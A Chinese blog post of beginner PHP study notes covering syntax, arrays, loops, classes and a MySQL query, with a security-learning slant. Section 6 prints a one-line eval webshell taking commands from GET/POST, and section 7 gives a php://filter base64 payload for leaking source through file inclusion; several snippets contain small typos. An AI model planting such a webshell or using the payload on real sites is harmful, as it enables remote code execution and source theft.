PHP入门学习记录

文中代码参考自:PHP 基础_笨小孩@GF 知行合一的博客-CSDN博客_csdn php

看完以后就感觉PHP和C语言在一些用法上有点相似( •̀ ω •́ )y

但是那篇博客中,后面那些比较难的用法还不是很懂QAQ

(新增一些来自学姐的笔记( •̀ ω •́ )y)

1、申明变量和输出

<?php
$a=114;
$b=115;
echo($a+$b);
?>

2、数组(不一定要同类型)

<?php
$a=[0,"1"];#数组中的两个元素,一个为0,另一个为字符串1
echo($a[1]);
?>

3、用.进行字符串的拼接

<?php
$a="112";
$b="bbb"
echo($a.$b);#112bbb
?>

4、PHP接收GET和POST请求

<?php
$a=$_GET['a'];
$B=$_POST['b'];
echo "a = $a";
echo "b = $b";
?>

5、一些内置函数

<?php
var_dump(scandir("."));#scandir:读取目录
print_r(scandir("."));#var_dump和print_r表示对数组进行输出
?>
<?php
echo(readfile("index.html"));#readfile:读取文件
?>

phpinfo:表示显示php的当前信息

也可以说查看源文档

include:文件包含

#我们新建一个文本叫做test.txt
#我们直接执行是执行不了的,但是使用文件包含后,可以将test.txt当作test.php来执行
<?php
include("test.php")
?>
test.txt
<?php
$a=$_GET['a'];
$b=$_POS['b'];
echo "a = $a";
echo "b = $b";
?>

highlight:显示文件源码

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$B=$_POST['b'];
echo "a:$a";
echo "b:$b";
?>

eval:代码执行

例如 执行函数phpinfo

<?php
eval(phpinfo());
?>

用数组输出目录

<?php
eval("var_dump(scandir('.'));");
?>

assert:执行代码

与eval类似,但是assert可以当作字符串后再来执行

<?php
("assert")("var_dump(scandir('.'));");
?>

system:命令执行(系统命令)

<?php
system("whoami");
?>
<?php
eval("system('whoami');");
?>
#注意不能内嵌双引号

file_get_contents:读取文件

#与highlight类似
<?php
var_dump(file_get_contents("test.php"));
?>

file_put_contents:写文件

#第一个参数为文件名,第二个参数为文件内容
<?php
file_put_contents("botany.php","<? phpinfo();?>");
?>
#如果没有botany.php的话将创建

6、一句话木马

<?php
eval($_GET['cmd']);
eval($_POST['cmd']);
?>

7:php伪协议

php://filter/read=convert.base64-encode/resource=xxx.php
http://localhost/index.php?0=php://filter/convert.base64-encode/resource=test.php

---------------------------------------------------------------------------------------------------------------------------

<!-- switch语句 -->
<!-- <?php
$a="abc";
switch($a){
    case'red':
        echo "red";
        break;
    case'green':
        echo "green";
        break;
    case'black':
        echo "black";
        break;
    default:
    echo "not color";
}
?> -->

<!-- 数组
<?php
$a=array("1","2","3");
echo "I Like "."$a[0]"," ","$a[1]"," ","$a[2]";
?>  -->

<!-- <?php
$a=array();
$a[0]="1";
$a[1]="2";
$a[2]="3";
echo count($a)."<br>";/* 返回数组长度 */
echo "I Like "."$a[0]"," ","$a[1]"," ","$a[2]";
?> -->

<!-- <?php
$a=array("1","2","3");
$arrlength=count($a);
for($x=0;$x<$arrlength;$x++)
{   //for循环遍历数组
    echo $a[$x]."<br>";
}//只输出值
print_r($a);//值和下标都打印出来
?> -->

<!-- 关联数组 -->
<!-- <?php
$age=array("gao"=>"30","li"=>"20","zhang"=>"10");
echo "gao is ".$age['gao']." years old";
?> -->

<!-- <?php
$age=array();
$age["sun"]=["20"];
$age["liu"]=["30"];
$age["zhang"]=["40"];
print_r($age);
//Array ( [sun] => Array ( [0] => 20 ) [liu] => Array ( [0] => 30 ) [zhang] => Array ( [0] => 40 ) ) 
?> -->

<!-- 多维数组 -->
<!-- <?php
$cars=array(
    array("111",100,50),
    array("222",200,100),
    array("333",300,150),
);
echo $cars[1][0];
?> -->

<!-- <?php
$age["sun"]=["20"];
$age["liu"]=["30"];
$age["zhang"]=["40"];
//print_r($age);
foreach($age as $key=>$value)
{
    echo "name is ".$key." old ".$value."<br>";
}
?> -->
<!-- name is sun old Array
name is liu old Array
name is zhang old Array  -->

<!-- 排序 -->
<!-- <?php
$cars=array("Bingli","wzida","muling");
$x=sort($cars);
/* sort($cars); */
echo $x."<br>";
print_r($cars); 
?> -->

<!-- $GLOBALS — 引用全局作用域中可用的全部变量 -->
<!-- <?php
$x=29;
$y=10;
function add()
{
    $GLOBALS['z']=$GLOBALS['y']+$GLOBALS['x'];
    echo $GLOBALS['z'];
}
add();
?> -->

<!-- PHP $_REQUEST 用于收集 HTML 表单提交的数据 -->
<!-- <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
    <from method="POST" action="request.php">
            name:<input type="text"name="neme">
            <input type="submit"name="submit">
</body>
</html>
<?php
$name=$_REQUEST['name'];
echo $name;
?> -->

<!-- while 循环 -->
<!-- <?php
$a=0;
while($a<10)
{
    echo "num is:".$a."<br>";
    $a++;
}
?> -->

<!-- do whlie 循环 -->
<!-- <?php
$i=0;
do{//先循环
    $i++;
    echo "num is: ".$i."<br>";
}while($i<5);//再判断
?> -->

<!-- <?php
function Ad($x,$y)
{
    $z=$x+$y;
    return $z;
}
echo "1+16"."=".Ad(1,16);
?> -->

<!-- 类和对象: 类 − 定义了一件事物的抽象特点。
类的定义包含了数据的形式以及对数据的操作。 对象 − 是类的实例。 -->
<!-- <?php
class Person{//定义一个类,不能用数字开头
    var $name;//定义一个变量,值为空
    function say(){
        echo "my name is "."$this->name";
    }
}
$xm=new Person;//实例化对象、具体的使用方式
$xm->name="asd";//对象属性赋值
$xm->say();//访问对象的方法
?> -->

<!-- <?php
$string ="123";//变量
define("DEMO",true);//常量
print_r($GLOBALS);//超级全局变量
?> -->

<!-- $_REQUEST 可以接收 GET POST 发送的数据包 -->
<!-- <!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8">
</head>
<body>
<form action="<?php echo $_SERVER['HTTP_SELF'];?>" method="POST">
    username:<input type ="text"name="name">
    password:<input type="password"name="password">
    <input type="submit">
</form>

<?php
echo "提交的内容:<font style='color:red'>".@$_POST["name"]."   ".@$_POST["password"]."</font>"
?>
</body>
</html> -->

<!-- 连接数据库(有点问题) -->
<!-- <?php
$hostname="127.0.0.1";
$name="root";
$pass="root";
$db="messagebox";
$conn=mysqli_connect($hostname,$name,$pass,$db);
if (!$conn) {    
    die("连接失败".mysqli_connect_error());/* mysqli_connect_error()该函数保存了连接数据库的错误信息    */
}
$sql="select * from users where id=1 ";
// mysqli_query($conn,$sql);执行成功返回true
$query_result=mysqli_query($conn,$sql);
if ($query_result) {
    /*如果执行成功就会执行如下的代码*/
    $result_numbers=mysqli_num_rows($query_result);/*查询出数据库中记录条数,具体的数据没出来*/
    if ($result_numbers>0) {
        $all_result=mysqli_fetch_all($query_result);
        /*mysqli_fetch_assoc将查询的结果转换为关联型数组*/
        //mysqli_fetch_array()关联型和数字型
        //mysqli_fetch_all()数字型
        //var_dump($all_result);
        //$all_result它是一个mysqli_fetch_all处理之后的数据,该数据是一个数组,数组的长度取决于sql的执行
        //如果结果是一个记录,则$all_result的长度是1
        //如果结果是二个记录,则$all_result的长度是2
        //$all_result保存的内容也是数组,需要遍历显示数据内容
        foreach ($all_result as $key => $value) {
            foreach ($value as $key => $value) {
                echo $value."\n";
            }
        }
    }
    else{
        echo "没数据!";
    }
}
else{
    echo "查询失败".mysqli_error($conn);
    /*mysqli_error($conn)保存了执行SQL语句的错误信息*/
}
mysqli_close($conn);
?> -->

<!-- php集合HTML(有问题) -->
<!-- <?php
// echo "<meta charset='utf-8'>"; //指定字符集
header("Content-Type:text/html;charset=utf-8");
echo '<form method="POST" action="#">
        name:<input type="text" name="name">
        psswd:<input type="password" name="pwd">
        <input type="submit" name="submit">
    </form>';
 
$name = @$_POST['name']; //$_POST 对应 form method="POST"
$pwd = @$_POST['pwd']; //接收数据
 
if ($name != "" && $pwd != "") {
//判断当前提交的数据是否为空,不为空的情况下执行下面的代码
    echo "UserName is : " . $name . "<br>";
    echo "PassWord is : " . $pwd;
}
?> 
 -->

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值